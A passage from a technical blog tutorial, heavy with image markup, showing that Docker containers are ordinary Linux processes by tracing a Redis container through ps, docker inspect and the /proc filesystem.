https://substackcdn.com/image/fetch/$s_!vqR7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png 848w, https://substackcdn.com/image/fetch/$s_!vqR7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png 1272w, https://substackcdn.com/image/fetch/$s_!vqR7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vqR7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png" width="1037" height="175" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:1037,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:28191,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vqR7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png 424w, https://substackcdn.com/image/fetch/$s_!vqR7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png 848w, https://substackcdn.com/image/fetch/$s_!vqR7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png 1272w, https://substackcdn.com/image/fetch/$s_!vqR7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This time, you&#8217;ll see a Redis process in the list, complete with a <strong>process ID (PID)</strong> assigned by the host kernel. That&#8217;s because Docker didn&#8217;t create anything magical. It simply asked the kernel to start a new process (the Redis server) inside a set of namespaces and cgroups.</p><p></p><div><hr></div><p>Sysxplore is an indie, reader-supported publication.<br>I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.</p><p>To support my work, consider becoming a <strong>free or paid subscriber</strong> and join the growing community of tech professionals.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><p></p><h3>Differentiating Container Processes from Host Processes</h3><p>Now that Redis is running, we can observe it directly from the host. But how can we tell whether a process belongs to a container or is running natively on the system?</p><p>Let&#8217;s first look at all processes related to Redis:</p><pre><code><code>$ ps -ef --forest </code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xlEw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xlEw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png 424w, https://substackcdn.com/image/fetch/$s_!xlEw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png 848w, https://substackcdn.com/image/fetch/$s_!xlEw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png 1272w, https://substackcdn.com/image/fetch/$s_!xlEw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xlEw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png" width="1064" height="294" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:294,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:73799,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xlEw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png 424w, https://substackcdn.com/image/fetch/$s_!xlEw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png 848w, https://substackcdn.com/image/fetch/$s_!xlEw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png 1272w, https://substackcdn.com/image/fetch/$s_!xlEw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F429b6ee5-69f3-49e7-8ba3-3929368faeb3_1064x294.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The <code>--forest</code> flag displays processes in a tree format, showing parent&#8211;child relationships. In the output, notice that your <code>redis-server</code> process isn&#8217;t alone, it appears as a child of a parent process  <code>containerd-shim-runc-v2</code>.</p><p>That parent process is part of Docker&#8217;s runtime layer. When you start a container, Docker uses <strong>containerd</strong> (its underlying daemon) to spawn a lightweight runtime process called a <em>shim.</em> This shim is responsible for keeping the container process alive even if the Docker daemon restarts, and it acts as a middle layer between Docker and the containerized process.</p><p>So, when you see something like this:</p><pre><code><code> /usr/bin/containerd-shim-runc-v2 
 \_ redis-server *:6379</code></code></pre><p>it confirms that your Redis process is running inside a container. If you installed Redis directly on the host, its parent process would typically be <code>systemd</code> or your shell, not a container runtime shim.</p><p>You can also confirm which containers are running using Docker itself:</p><pre><code><code>$ docker ps</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XYyo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XYyo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png 424w, https://substackcdn.com/image/fetch/$s_!XYyo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png 848w, https://substackcdn.com/image/fetch/$s_!XYyo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png 1272w, https://substackcdn.com/image/fetch/$s_!XYyo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XYyo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png" width="1064" height="207" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:207,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:35040,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!XYyo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png 424w, https://substackcdn.com/image/fetch/$s_!XYyo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png 848w, https://substackcdn.com/image/fetch/$s_!XYyo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png 1272w, https://substackcdn.com/image/fetch/$s_!XYyo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae9493c3-cba6-4ed9-8fd8-0be3499415fd_1064x207.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This command lists active containers and gives you their names, IDs, images, and status. It&#8217;s a simple way to cross-check what you&#8217;re seeing from the system-level <code>ps</code> output.</p><p>If you want to go a step further and identify the exact process ID of a container&#8217;s main process on the host, run:</p><pre><code>docker inspect -f &#8216;{{.State.Pid}}&#8217; redis-demo</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AI9U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AI9U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png 424w, https://substackcdn.com/image/fetch/$s_!AI9U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png 848w, https://substackcdn.com/image/fetch/$s_!AI9U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png 1272w, https://substackcdn.com/image/fetch/$s_!AI9U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AI9U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png" width="1064" height="160" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:160,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:20861,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AI9U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png 424w, https://substackcdn.com/image/fetch/$s_!AI9U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png 848w, https://substackcdn.com/image/fetch/$s_!AI9U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png 1272w, https://substackcdn.com/image/fetch/$s_!AI9U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc33dbe53-71d4-489c-8c01-52bf6108ae9a_1064x160.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This tells you the PID assigned by the kernel to the container&#8217;s init process, the same one you can see in your <code>ps</code> tree or inside <code>/proc</code>.</p><h3>Exploring Containers Through the /proc Filesystem</h3><p>Now that we&#8217;ve confirmed containers are simply processes, let&#8217;s take a closer look inside one, without using Docker commands.</p><p>Linux exposes a virtual filesystem called <code>/proc</code>, which provides a live view of the system and every process running on it. Each process has its own directory under <code>/proc</code> named after its process ID (PID). Inside that directory, you&#8217;ll find details such as its open files, environment variables, namespaces, and even its root filesystem.</p><p>Let&#8217;s list the top-level contents of <code>/proc</code>:</p><pre><code><code>$ ls /proc</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!a1AD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!a1AD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png 424w, https://substackcdn.com/image/fetch/$s_!a1AD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png 848w, https://substackcdn.com/image/fetch/$s_!a1AD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png 1272w, https://substackcdn.com/image/fetch/$s_!a1AD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!a1AD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png" width="1064" height="783" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:783,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:180424,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!a1AD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png 424w, https://substackcdn.com/image/fetch/$s_!a1AD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png 848w, https://substackcdn.com/image/fetch/$s_!a1AD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png 1272w, https://substackcdn.com/image/fetch/$s_!a1AD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F150aab23-855e-4e9a-b04a-d150b6afc332_1064x783.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>You&#8217;ll see a mix of files (like <code>cpuinfo</code>, <code>meminfo</code>, and <code>uptime</code>) and directories named with numbers, each number representing a process ID. For example, <code>/proc/1</code> usually corresponds to <code>systemd</code>, the init process of the host.</p><p>Earlier, we saw that our Redis container process had a PID of 2112. That means everything about that container can be inspected under <code>/proc/2112</code>.</p><pre><code><code>$ ls /proc/2112</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jaEw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jaEw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png 424w, https://substackcdn.com/image/fetch/$s_!jaEw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png 848w, https://substackcdn.com/image/fetch/$s_!jaEw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png 1272w, https://substackcdn.com/image/fetch/$s_!jaEw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jaEw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png" width="1064" height="386" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:386,&quot;width&quot;:1064,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:70289,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jaEw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png 424w, https://substackcdn.com/image/fetch/$s_!jaEw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png 848w, https://substackcdn.com/image/fetch/$s_!jaEw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png 1272w, https://substackcdn.com/image/fetch/$s_!jaEw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F397c09fa-adbe-483d-85f1-22c1a17a7405_1064x386.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg 